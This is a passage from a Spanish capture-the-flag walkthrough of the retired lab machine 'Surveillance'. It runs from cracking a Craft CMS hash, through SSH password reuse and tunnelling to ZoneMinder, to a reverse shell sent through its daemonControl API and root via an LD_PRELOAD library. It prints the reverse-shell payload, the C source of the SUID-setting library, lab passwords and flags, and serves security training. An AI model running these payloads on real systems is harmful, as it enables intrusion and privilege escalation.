39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490
Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 1400 (SHA2-256)
Recovered.....: 1/1 (100.00%)
```

Interpretación

El hash del usuario administrador de Craft CMS fue crackeado correctamente como SHA2-256. La contraseña recuperada fue:

```
starcraft122490
```

Este resultado no debe asumirse automáticamente como acceso de sistema. La metodología correcta consiste en comprobar si existe un usuario local relacionado con la identidad `Matthew B` y validar reutilización de credencial contra servicios disponibles, especialmente SSH, que ya estaba expuesto desde la fase de reconocimiento.

Validación de reutilización de credenciales y acceso SSH como

`matthew`

Tras crackear el hash SHA-256 recuperado desde el backup SQL de Craft CMS, la contraseña obtenida fue:

```
starcraft122490
```

Este resultado no debía asumirse automáticamente como una credencial válida del sistema operativo. En un entorno realista, una credencial de aplicación puede estar limitada al propio CMS, puede haber sido cambiada en el sistema, o puede corresponder a una identidad sin usuario local. Por ese motivo, antes de construir fases posteriores sobre ella, se validó la posible reutilización contra el servicio SSH, que ya había aparecido expuesto desde la enumeración inicial.

El acceso se probó contra el usuario `matthew`, correlacionando el nombre local probable con la identidad `Matthew B` localizada en el backup SQL:

```
ssh matthew@surveillance.htb
```

Durante la primera conexión se aceptó la clave del host:

```
The authenticity of host 'surveillance.htb (10.129.230.42)' can't be established.  
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xot0sBBE.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added 'surveillance.htb' (ED25519) to the list of known hosts.
```

Después de introducir la contraseña recuperada, el sistema abrió una sesión Ubuntu 22.04.3 LTS:

```
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)
```

Una vez dentro, se verificó la existencia de usuarios relevantes en `/etc/passwd`:

```
grep -E 'matthew|bash|sh$' /etc/passwd
```

Salida relevante:

```
root:x:0:0:root:/root:/bin/bash  
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash  
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash
```

Esta salida aporta dos lecturas. La primera es inmediata: `matthew` existe como usuario local y tiene shell interactiva `/bin/bash`. La segunda es prospectiva: también existe un usuario `zoneminder`, lo que encaja con la presencia posterior de una aplicación ZoneMinder en el sistema.

El contexto de la sesión se validó con comandos básicos:

```
id
whoami
hostname
pwd
ls -la
wc -c user.txt 2>/dev/null
```

Salida relevante:

```
uid=1000(matthew) gid=1000(matthew) groups=1000(matthew)

matthew
surveillance
/home/matthew

-rw-r----- 1 root matthew 33 May 16 09:09 user.txt

33 user.txt
```

Finalmente se leyó la flag de usuario:

```
cat user.txt
```

Salida:

```
1068b8ee7ba37430d97420164f0710b3
```

Lectura del resultado

La contraseña extraída de la capa web fue reutilizada en el sistema operativo. Esto permitió abandonar una shell web limitada como `www-data` y pasar a una sesión SSH estable como `matthew`.

Esta transición es importante por tres motivos:

1. aporta estabilidad operativa;
2. permite enumerar servicios internos con mayor comodidad;
3. crea un puente entre la aplicación vulnerable inicial y la infraestructura local que no estaba expuesta desde fuera.

Enumeración interna y detección de ZoneMinder

Con una sesión SSH estable como `matthew`, la siguiente fase consistió en revisar servicios accesibles únicamente desde la propia máquina. El escaneo externo inicial solo había mostrado SSH y HTTP, pero una vez dentro del sistema es necesario revisar listeners locales, sockets y servicios ligados a `127.0.0.1`.

Se revisaron los puertos TCP en escucha:

```
ss -lntp 2>/dev/null
netstat -lntp 2>/dev/null
```

Salida relevante:

```
127.0.0.1:3306 LISTEN
127.0.0.1:8080 LISTEN
0.0.0.0:80 LISTEN
0.0.0.0:22 LISTEN
127.0.0.53:53 LISTEN
```

La lectura clave es la presencia de dos servicios internos:

Dirección	Puerto	Interpretación
127.0.0.1	3306/tcp	Base de datos local
127.0.0.1	8080/tcp	Aplicación web interna no visible desde fuera

El puerto `8080/tcp` no apareció en el escaneo externo porque solo escucha en localhost. Para identificarlo se revisaron rutas y paquetes instalados relacionados con ZoneMinder:

```
ls -la /usr/share/zoneminder 2>/dev/null
```

Salida relevante:

```
drwxr-xr-x  4 www-data www-data  4096 Oct 17  2023 .
drwxr-xr-x  2 root    zoneminder 36864 Oct 17  2023 db
drwxr-xr-x 13 root    zoneminder  4096 Oct 17  2023 www
```

También se revisaron paquetes instalados:

```
dpkg -l | grep -Ei 'zoneminder|apache|nginx|mysql|mariadb'
```

Fragmentos relevantes:

```
ii  nginx                    1.18.0-6ubuntu14.4      amd64  nginx web/proxy server
ii  mariadb-server-10.6      1:10.6.12-0ubuntu0.22.04.1 amd64  MariaDB database server binaries
hi  zoneminder               1.36.32+dfsg1-1        amd64  video camera security and surveillance solution
```

La búsqueda de procesos relacionados no devolvió resultados visibles para `matthew`:

```
ps aux | grep -Ei 'zoneminder|zms|zm|apache|nginx|mysql' | grep -v grep
```

Aunque esa búsqueda no mostró procesos, la evidencia combinada de un listener interno en `127.0.0.1:8080`, la ruta `/usr/share/zoneminder` y el paquete `zoneminder 1.36.32` permitió orientar la siguiente fase hacia ZoneMinder.

Implicación para la fase siguiente

El servicio de ZoneMinder no estaba expuesto en la interfaz de red externa. Para interactuar con él desde la máquina atacante era necesario crear un túnel SSH. Este patrón es esencial en post-explotación: muchas aplicaciones relevantes solo aparecen después de revisar localhost desde una cuenta interna.

Acceso a ZoneMinder mediante túnel SSH

El servicio identificado en `127.0.0.1:8080` se expuso localmente en la máquina atacante mediante port forwarding SSH. Se usó la sesión de `matthew` para mapear el puerto remoto `8080` al puerto local `8082`:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance
ssh matthew@surveillance.htb -L 8082:127.0.0.1:8080
```

Mientras esta sesión permanecía abierta, el navegador y `curl` podían acceder al servicio interno a través de:

```
http://127.0.0.1:8082/
```

Se capturaron cabeceras y HTML de la página raíz:

```
curl -i http://127.0.0.1:8082/ | tee scans/zoneminder_root_headers.txt
curl -sS -L http://127.0.0.1:8082/ -o scans/zoneminder_root.html

grep -RniE 'zoneminder|zm|login|version|1\.\.36\.\.32|csrf|token' \
  scans/zoneminder_root_headers.txt scans/zoneminder_root.html
```

La respuesta confirmó que el servicio interno era ZoneMinder y presentaba una página de login:

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Set-Cookie: ZMSESSID=...
<title>ZM - Login</title>
```

También se observó el formulario de autenticación y un token CSRF generado dinámicamente:

```
ZoneMinder Login
<input type='hidden' name='__csrf_magic' value="key:8990c59f534cf2e7547f8a9eefdc069128d98fa,1778925182" />
<input type="hidden" name="action" value="login"/>
```

Con las credenciales reutilizadas se accedió a la consola:

```
admin : starcraft122490
```

En la interfaz web se observó la sesión como `admin` y la versión:

```
ZoneMinder Console  
account_circle admin  
v1.36.32
```

Interpretación

La contraseña recuperada desde Craft CMS no solo era válida para SSH como `matthew`, sino también para la cuenta `admin` de ZoneMinder. Esta reutilización permitió acceder a una aplicación interna con funcionalidad administrativa.

La versión `1.36.32` orienta la siguiente fase hacia la API de ZoneMinder y sus endpoints de control de demonios.

Autenticación contra la API de ZoneMinder

Tras confirmar el acceso web, se validó autenticación contra la API porque la explotación posterior dependía de endpoints JSON.

Desde la máquina atacante, con el túnel activo, se envió una petición de login:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance  
mkdir -p scans loot  
  
curl -sS -X POST \  
-d "user=admin&pass=starcraft122490" \  
"http://127.0.0.1:8082/api/host/login.json" \  
| tee scans/zoneminder_api_login.json
```

La respuesta devolvió un token de acceso, un token de refresco, la versión de ZoneMinder y la versión de la API:

```
{  
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...",  
  "access_token_expires": 7200,  
  "refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...",  
  "refresh_token_expires": 86400,  
  "credentials": "auth=",  
  "append_password": 0,  
  "version": "1.36.32",  
  "apiversion": "2.0"  
}
```

Para trabajar de forma reproducible, se formateó el JSON y se guardaron campos clave en ficheros auxiliares:

```
python3 -m json.tool scans/zoneminder_api_login.json | tee scans/zoneminder_api_login_pretty.json
```



```
python3 - <<'PY'
import json
from pathlib import Path

data = json.loads(Path("scans/zoneminder_api_login.json").read_text())
Path("loot/zoneminder_access_token.txt").write_text(data.get("access_token", "") + "\n")
Path("loot/zoneminder_version.txt").write_text(data.get("version", "") + "\n")
Path("loot/zoneminder_apiversion.txt").write_text(data.get("apiversion", "") + "\n")

print("access_token_saved=", bool(data.get("access_token")))
print("version=", data.get("version"))
print("apiversion=", data.get("apiversion"))
PY
```

Salida relevante:

```
access_token_saved= True
version= 1.36.32
apiversion= 2.0
```

Lectura del resultado

La API confirmó autenticación válida como `admin` . El token de acceso permitió interactuar con endpoints internos sin depender de la sesión del navegador. Esta separación mejora la reproducibilidad de la explotación y permite guardar evidencias en `scans/` y `loot/` .

Ejecución remota autenticada en ZoneMinder

Con token válido, se preparó una reverse shell contra el endpoint de control de demonios:

```
/api/host/daemonControl/zmdc.pl/<command>.json
```

El payload se construyó de forma dinámica usando la IP de la interfaz VPN `tun0` , codificándolo en base64 y después URL-encodeándolo para insertarlo en la ruta:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

TOKEN="$(tr -d '\n' < loot/zoneminder_access_token.txt)"
LHOST="$(ip -o -4 addr show tun0 | awk '{print $4}' | cut -d/ -f1)"
LPORT="4445"

REV="bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1"
B64="$(printf '%s' "$REV" | base64 -w0)"
INJECT="\$(echo ${B64}|base64 -d|bash)"
ENCODED="$(python3 -c 'import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1], safe=""))' "$INJECT")"

echo "[*] LHOST=$LHOST"
echo "[*] LPORT=$LPORT"
echo "[*] Payload base64=$B64"

curl -sS \
  "http://127.0.0.1:8082/api/host/daemonControl/zmdc.pl/${ENCODED}.json?token=${TOKEN}" \
  | tee scans/zoneminder_rce_trigger_response.json
```

Durante esta ejecución apareció una incidencia local al intentar leer el fichero del token:

```
preexec: no existe el fichero o el directorio: loot/zoneminder_access_token.txt
```

Sin embargo, la petición alcanzó el endpoint vulnerable y el servidor devolvió un `504 Gateway Time-out`, compatible con una ejecución bloqueada por la reverse shell:

```
[*] LHOST=10.10.15.26
[*] LPORT=4445
[*] Payload base64=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNi80NDQ1IDA+JjE=

<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
```

En paralelo se mantuvo un listener:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance
nc -lvnp 4445 | tee scans/revshell_zoneminder_nc.txt
```

La conexión entrante confirmó ejecución como `zoneminder`:

```
listening on [any] 4445 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.230.42] 52258
bash: cannot set terminal process group (998): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www/api/app/webroot$
```

Se validó el contexto:

```
id
whoami
hostname
pwd
```

Salida relevante:

```
uid=1001(zoneminder) gid=1001(zoneminder) groups=1001(zoneminder)
zoneminder
surveillance
/usr/share/zoneminder/www/api/app/webroot
```

La shell se estabilizó de forma mínima:

```
script /dev/null -c bash
export TERM=xterm
stty rows 40 columns 120
```

Y se revisó el directorio inicial:

```
ls -la
```

Salida relevante:

```
drwxr-xr-x  4 root zoneminder 4096 Oct 17 2023 .
drwxr-xr-x 10 root zoneminder 4096 Oct 17 2023 ..
drwxr-xr-x  2 root zoneminder 4096 Oct 17 2023 css
-rw-r--r--  1 root zoneminder 3744 Nov 18 2022 index.php
-rw-r--r--  1 root zoneminder 3584 Nov 18 2022 test.php
```

Interpretación

El endpoint `daemonControl` permitió movimiento lateral desde `matthew` hacia el usuario de servicio `zoneminder`. La evidencia determinante no fue el `504`, sino la conexión recibida y el contexto `uid=1001(zoneminder)`.

Esta fase prepara la escalada local, porque `zoneminder` tiene permisos específicos asociados a los scripts de ZoneMinder.

Estabilización del acceso como `zoneminder`

Durante la fase de escalada se generó una clave SSH para evitar depender de una reverse shell incómoda y con eco duplicado. En la máquina atacante se creó un par de claves:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance
ssh-keygen -t ed25519 -f zoneminder_ed25519 -N ''
```

La clave pública generada fue:

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK50ML1B2NU1dPcBPx0keLCG232J0tAIgkDayYeVe46y r4mon@parrot
```

Desde la shell como `zoneminder`, se añadió a `authorized_keys`:

```
mkdir -p ~/.ssh && chmod 700 ~/.ssh && echo 'ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIK50ML1B2NU1dPcBPx0keLCG232J0tAIgkDayYeVe46y r4mon@parrot' >> ~/.ssh/authorized_keys &&
chmod 600 ~/.ssh/authorized_keys
```

Se verificó la última línea:

```
tail -n 1 ~/.ssh/authorized_keys
```

Salida:

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK50ML1B2NU1dPcBPx0keLCG232J0tAIgkDayYeVe46y r4mon@parrot
```

Después se accedió por SSH como `zoneminder`:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance
ssh -i zoneminder_ed25519 zoneminder@surveillance.htb
```

La sesión estable permitió continuar la escalada con menos ruido:

```
id
whoami
pwd
```

Salida relevante:

```
uid=1001(zoneminder) gid=1001(zoneminder) groups=1001(zoneminder)
zoneminder
/home/zoneminder
```

Lección de estabilidad

Esta estabilización no es imprescindible para la vulnerabilidad, pero sí mejora la calidad del trabajo. Una shell estable reduce errores de copia, evita problemas de terminal y facilita distinguir fallos reales de fallos producidos por la interfaz de shell.

Enumeración de privilegios como `zoneminder`

El primer control local fue `sudo -l`, porque permite identificar comandos ejecutables con privilegios elevados:

```
sudo -l
```

Salida:

```
Matching Defaults entries for zoneminder on surveillance:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin,
  use_pty

User zoneminder may run the following commands on surveillance:
  (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
```

La parte crítica es:

```
(ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
```

Su interpretación:

Elemento	Significado
(ALL : ALL)	Puede ejecutarse como cualquier usuario y grupo
NOPASSWD	No requiere contraseña
/usr/bin/zm[a-zA-Z]*.pl	Permite scripts Perl de ZoneMinder bajo /usr/bin
*	Permite argumentos adicionales

Se listaron los scripts que encajaban con el patrón:

```
ls -al /usr/bin/zm*.pl 2>/dev/null
```

Salida relevante:

```
-rwxr-xr-x 1 root root 43027 Nov 23 2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root 12939 Nov 23 2022 /usr/bin/zmcantool.pl
-rwxr-xr-x 1 root root 6043 Nov 23 2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root 26232 Nov 23 2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root 35206 Nov 23 2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 13994 Nov 23 2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root 45421 Nov 23 2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 7022 Nov 23 2022 /usr/bin/zmwatch.pl
```

También se revisaron binarios SUID existentes:

```
find / -perm -4000 -type f 2>/dev/null
```

Salida relevante:

```
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/su
/usr/bin/fusermount3
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/umount
/usr/bin/mount
/usr/bin/newgrp
```

No apareció `/bin/bash` con SUID ni un binario anómalo evidente. Por tanto, la escalada no debía buscarse en un SUID preexistente, sino en la regla `sudo` sobre los scripts de ZoneMinder.

Validación de `zmdc.pl` y opción `ZM_LD_PRELOAD`

Entre los scripts permitidos, `zmdc.pl` resultaba especialmente interesante porque controla demonios de ZoneMinder. Primero se revisó su uso:

```
sudo zmdc.pl 2>&1 | tee /tmp/zmdc_usage.txt
```

Salida:

```
No command given
Usage:
  zmdc.pl {command} [daemon [options]]

Options:
  {command} - One of 'startup|shutdown|status|check|logrot' or
  'start|stop|restart|reload|version'. [daemon [options]] - Daemon name
  and options, required for second group of commands
```

Una consulta de estado mostró que el script intenta usar el socket de control de ZoneMinder:

```
sudo zmdc.pl status zmdc 2>&1 | tee /tmp/zmdc_status_zmdc.txt
```

Salida:

```
Unable to connect to server using socket at /run/zm/zmdc.sock
```

Después se revisó la interfaz web autenticada de ZoneMinder en:

```
http://127.0.0.1:8082/?view=options&tab=config
```

En `Options -> Config` se localizó la opción `ZM_LD_PRELOAD`. La inspección del HTML mostró el campo editable:

```
<label class="col-md-4 control-label text-md-right" for="ZM_LD_PRELOAD">ZM_LD_PRELOAD</label>
<input id="ZM_LD_PRELOAD" class="form-control-sm" type="text" name="newConfig[ZM_LD_PRELOAD]" value="">
```

La combinación de evidencias era significativa:

- `zoneminder` podía ejecutar scripts `zm*.pl` como `root` sin contraseña.
- `zmdc.pl` controla demonios de ZoneMinder.
- ZoneMinder permite definir `ZM_LD_PRELOAD`.
- `ZM_LD_PRELOAD` acepta una ruta de biblioteca compartida.
- Si `zmdc.pl` toma esa opción y la convierte en `LD_PRELOAD`, una biblioteca controlada podría cargarse en contexto privilegiado.

Escalada de privilegios mediante `ZM_LD_PRELOAD` y `zmdc.pl`

Se revisó el código de `zmdc.pl` para confirmar que toma `ZM_LD_PRELOAD` y lo asigna a `LD_PRELOAD` :

```
grep -nEi 'LD_PRELOAD|ZM_LD_PRELOAD|preload|exec|daemon|zmc' /usr/bin/zmdc.pl | head -n 80
```

Fragmento relevante:

```
82:if ( $Config{ZM_LD_PRELOAD} ) {
83:  Debug("Adding ENV{LD_PRELOAD} = $Config{ZM_LD_PRELOAD}");
84:  $ENV{LD_PRELOAD} = $Config{ZM_LD_PRELOAD};
...
514:  exec($daemon, @good_args) or Fatal("Can't exec: $!");
```

También se localizó la definición de la opción en `ConfigData.pm` :

```
sed -n '1860,1890p' /usr/share/perl5/ZoneMinder/ConfigData.pm
```

Fragmento relevante:

```
{
  name      => 'ZM_LD_PRELOAD',
  default   => '',
  description => "Path to library to preload before launching daemons",
  help      => q`
    Some older cameras require the use of the v4l1 compat
    library. This setting allows the setting of the path
    to the library, so that it can be loaded by zmdc.pl
    before launching zmc.
  `,
  type      => $types{abs_path},
  category  => 'config',
},
```

La biblioteca compartida se preparó para ejecutar `chmod u+s /bin/bash` al cargarse. Inicialmente se intentó compilar en el objetivo, pero falló por ausencia de `ld` :

```
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
```

Salida:

```
collect2: fatal error: cannot find 'ld'
compilation terminated.
```

Por ello se compiló en Parrot. Se creó el fuente:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

cat > shell.c <<'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
```

```
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("chmod u+s /bin/bash");
}
EOF
```

Se compiló la biblioteca compartida:

```
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

Y se verificó:

```
ls -la shell.c shell.so && file shell.so
```

Salida relevante:

```
-rw-r--r-- r4mon r4mon 193 B  Sat May 16 18:14:02 2026 shell.c
-rwxr-xr-x r4mon r4mon 14 KB  Sat May 16 18:14:33 2026 shell.so
shell.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
```

Después se transfirió al objetivo usando la cuenta `matthew`:

```
scp shell.so matthew@surveillance.htb:/tmp/shell.so
```

Salida relevante:

```
shell.so 100% 14KB 83.9KB/s 00:00
```

Desde la sesión SSH como `zoneminder`, se verificó la biblioteca:

```
ls -la /tmp/shell.so && file /tmp/shell.so
```

Salida relevante:

```
-rwxr-xr-x 1 matthew matthew 14152 May 16 16:19 /tmp/shell.so
/tmp/shell.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
```

Se fijó `ZM_LD_PRELOAD` en la base de datos y se verificó tanto en MariaDB como en el módulo Perl de ZoneMinder:

```
mysql -uzmuser -pZoneMinderPassword2023 zm \
-e "UPDATE Config SET Value='/tmp/shell.so' WHERE Name='ZM_LD_PRELOAD'; SELECT Id,Name,Value,LENGTH(Value)
FROM Config WHERE Name='ZM_LD_PRELOAD';"

perl -MZoneMinder::Config=:all \
```



```
-e 'print "PERL ZM_LD_PRELOAD=[${Config{ZM_LD_PRELOAD}}]\n";'  
ls -la /bin/bash
```

Salida relevante:

```
+-----+-----+-----+-----+  
| Id | Name          | Value          | LENGTH(Value) |  
+-----+-----+-----+-----+  
| 102 | ZM_LD_PRELOAD | /tmp/shell.so  | 13             |  
+-----+-----+-----+-----+  
  
PERL ZM_LD_PRELOAD=[/tmp/shell.so]  
  
-rwxr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
```

En ese punto `ZM_LD_PRELOAD` estaba correctamente configurado y `/bin/bash` aún no tenía SUID.

Para disparar la carga de la biblioteca se reinició `zmdc` con `sudo`:

```
sudo zmdc.pl shutdown zmdc
```

Salida:

```
Server exiting at 26/05/16 16:21:21  
Server shutdown at 26/05/16 16:21:21
```

Después se arrancó de nuevo:

```
sudo zmdc.pl startup zmdc
```

Salida:

```
Starting server
```

Al comprobar `/bin/bash`, apareció el bit SUID:

```
ls -la /bin/bash
```

Salida:

```
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
```

La `s` en el bloque de permisos confirma que el binario se ejecutará con EUID del propietario, `root`.

Se ejecutó Bash en modo privilegiado:

```
/bin/bash -p
```

Y se validó el contexto:

```
id
whoami
pwd
```

Salida:

```
uid=1001(zoneminder) gid=1001(zoneminder) euid=0(root) groups=1001(zoneminder)
root
/home/zoneminder
```

Interpretación

La escalada se produjo por la combinación de dos condiciones:

1. `zoneminder` podía ejecutar `zmdc.pl` como `root` mediante `sudo` y sin contraseña.
2. ZoneMinder permitía definir `ZM_LD_PRELOAD`, una ruta de biblioteca compartida que `zmdc.pl` incorporaba al entorno como `LD_PRELOAD`.

Al apuntar esa opción a una biblioteca controlada y reiniciar `zmdc.pl` con privilegios elevados, la biblioteca se cargó en contexto privilegiado y modificó los permisos de `/bin/bash`. La posterior ejecución de `/bin/bash -p` produjo una shell con `euid=0(root)`.

Lectura de la flag de root y validación final

Con una shell privilegiada, se accedió al directorio `/root` y se verificó la flag final:

```
cd /root && ls -la && wc -c root.txt 2>/dev/null
```

Salida relevante:

```
drwx----- 7 root root 4096 May 16 09:09 .
-rw-r----- 1 root root  33 May 16 09:09 root.txt
33 root.txt
```

Finalmente se leyó `root.txt`:

```
cat root.txt
```

Salida:

```
3e59221452f163cb22110b9547228b8f
```

La plataforma confirmó la resolución completa:

```
You have solved Surveillance!  
Pwn Date: 16 May 2026  
Machine State: Retired  
XP Earned: 650
```

Resultado

La máquina `Surveillance` quedó comprometida completamente. La ruta final permitió pasar de una explotación inicial en Craft CMS a una shell como `www-data`, recuperar credenciales desde un backup SQL, acceder por SSH como `matthew`, pivotar hacia ZoneMinder mediante port forwarding, obtener ejecución como `zoneminder` desde la API autenticada y escalar privilegios a `root` abusando de `ZM_LD_PRELOAD` junto con la regla `sudo` sobre scripts `zm*.pl`.

Resumen técnico final

La resolución de `Surveillance` siguió una cadena de compromiso en varias capas. La superficie externa parecía reducida —SSH y HTTP—, pero el servicio web expuesto aportó la primera vía de entrada. La identificación de Craft CMS 4.4.14 permitió orientar la explotación hacia `CVE-2023-41892`. Antes de escribir una web shell, se validó la primitiva con `phpinfo()`, lo que permitió recuperar rutas internas, confirmar el `DOCUMENT_ROOT` y obtener datos de configuración de la aplicación.

La escritura de la web shell no funcionó al primer intento. La incidencia fue relevante desde el punto de vista formativo: no todo fallo en una explotación indica que la vulnerabilidad no exista. En este caso, la primitiva remota estaba probada; el problema estaba en el transporte local del payload, donde la shell atacante interpretaba caracteres especiales. El uso posterior de PHP puro con `file_put_contents()` y `base64_decode()` eliminó esa fragilidad y permitió obtener ejecución como `www-data`.

La enumeración local de Craft CMS reveló un backup SQL bajo `storage/backups`. Ese backup contenía un hash SHA-256 asociado al usuario administrador `Matthew B`. El crackeo offline con `hashcat` produjo la contraseña `starcraft122490`, que fue válida para acceder por SSH como el usuario local `matthew`. Esta fase ilustra un patrón frecuente: un backup de aplicación puede contener material suficiente para romper la separación entre capa web y sistema operativo.

Desde `matthew`, la enumeración de servicios locales reveló un servicio interno en `127.0.0.1:8080`, identificado como ZoneMinder. El port forwarding SSH permitió acceder a la aplicación desde la máquina atacante. La misma contraseña recuperada fue válida para el usuario `admin` de ZoneMinder, lo que permitió autenticarse tanto en la interfaz web como en la API. La API expuso una vía de ejecución remota autenticada mediante `daemonControl`, que permitió obtener shell como `zoneminder`.

La fase final dependió de una mala combinación de permisos y configuración. El usuario `zoneminder` podía ejecutar scripts `zm*.pl` como `root` mediante `sudo` sin contraseña. Además, ZoneMinder permitía configurar `ZM_LD_PRELOAD`, una ruta de biblioteca compartida que `zmdc.pl` incorporaba como `LD_PRELOAD` antes de lanzar componentes de la aplicación. Al apuntar esa opción a una biblioteca controlada que ejecutaba `chmod u+s /bin/bash`, y reiniciar `zmdc.pl` con privilegios elevados, `/bin/bash` recibió el bit SUID. La ejecución posterior de `/bin/bash -p` proporcionó una shell con `uid=0(root)`.

Lecciones reutilizables

Enumeración web con virtual hosts

Una redirección HTTP hacia un hostname no debe tratarse como un detalle menor. En esta máquina, `surveillance.htb` era necesario para observar la aplicación real. La comparación entre acceso por IP y acceso por hostname permitió detectar el virtual host y justificar la entrada en `/etc/hosts`.

Patrón reutilizable:

```
curl -i http://IP
curl -i http://hostname
```

Validar una primitiva antes de convertirla en shell

La ejecución de `phpinfo()` antes de escribir una web shell fue un paso de bajo impacto y alto valor. Confirmó ejecución, mostró rutas internas y permitió preparar la fase de escritura con más precisión.

Patrón reutilizable:

1. confirmar ejecución con una función inocua;
2. extraer rutas internas;
3. escribir payload solo cuando el contexto esté claro.

Cuidar el quoting local

Los primeros intentos de escribir la web shell fallaron por interferencia de la shell local. Cuando se transportan backticks, redirecciones, comillas o variables dentro de cabeceras HTTP, el intérprete local puede ejecutar o transformar partes del payload antes de enviarlo. El uso de `file_put_contents()` y `base64_decode()` redujo esa fragilidad.

Backups de aplicación como puente hacia el sistema

El backup SQL de Craft CMS fue el elemento que permitió pasar de `www-data` a credenciales reutilizables. La enumeración de rutas como `storage`, `backups`, `.env`, `.sql`, `.zip`, `.bak` y `.db` debe formar parte de cualquier post-explotación web.

```
find . -maxdepth 4 -type f \( -iname "*.zip" -o -iname "*.sql" -o -iname "*.db" -o -iname "*.env" -o -iname "*.bak" \) 2>/dev/null
```

No asumir que una credencial de aplicación es una credencial de sistema

La contraseña recuperada desde Craft CMS se validó de forma ordenada contra SSH y después contra ZoneMinder. Esa secuencia evita conclusiones precipitadas y mantiene la trazabilidad entre identidades.

Pivotar hacia localhost cambia la superficie

El escaneo externo no mostraba ZoneMinder, pero la enumeración local como `matthew` reveló `127.0.0.1:8080`. La revisión de listeners internos es una fase crítica después del primer acceso.

```
ss -lntp 2>/dev/null || netstat -lntp 2>/dev/null
```

Port forwarding como herramienta de análisis

El túnel SSH permitió tratar una aplicación interna como un servicio local de la máquina atacante. Esto facilitó usar navegador, `curl`, guardar evidencias y trabajar con la API de forma reproducible.

```
ssh usuario@host -L puerto_local:127.0.0.1:puerto_remoto
```

Las reglas `sudo` con comodines requieren lectura contextual

La regla `sudo` no daba una shell directa. Su impacto apareció al relacionarla con el ecosistema de ZoneMinder, concretamente con `zmdc.pl` y `ZM_LD_PRELOAD`. En escalada local, el riesgo de una regla `sudo` depende tanto del binario permitido como de la configuración y el comportamiento de la aplicación.

`LD_PRELOAD` como vector de escalada

`LD_PRELOAD` es una característica legítima del enlazador dinámico. En esta máquina se convirtió en vector de escalada porque una aplicación permitía configurarla y un script ejecutable como `root` la incorporaba al entorno. El indicador final fue claro:

```
-rwsr-xr-x 1 root root ... /bin/bash
```

La **s** en los permisos del propietario indica SUID. `/bin/bash -p` conserva el EUID privilegiado.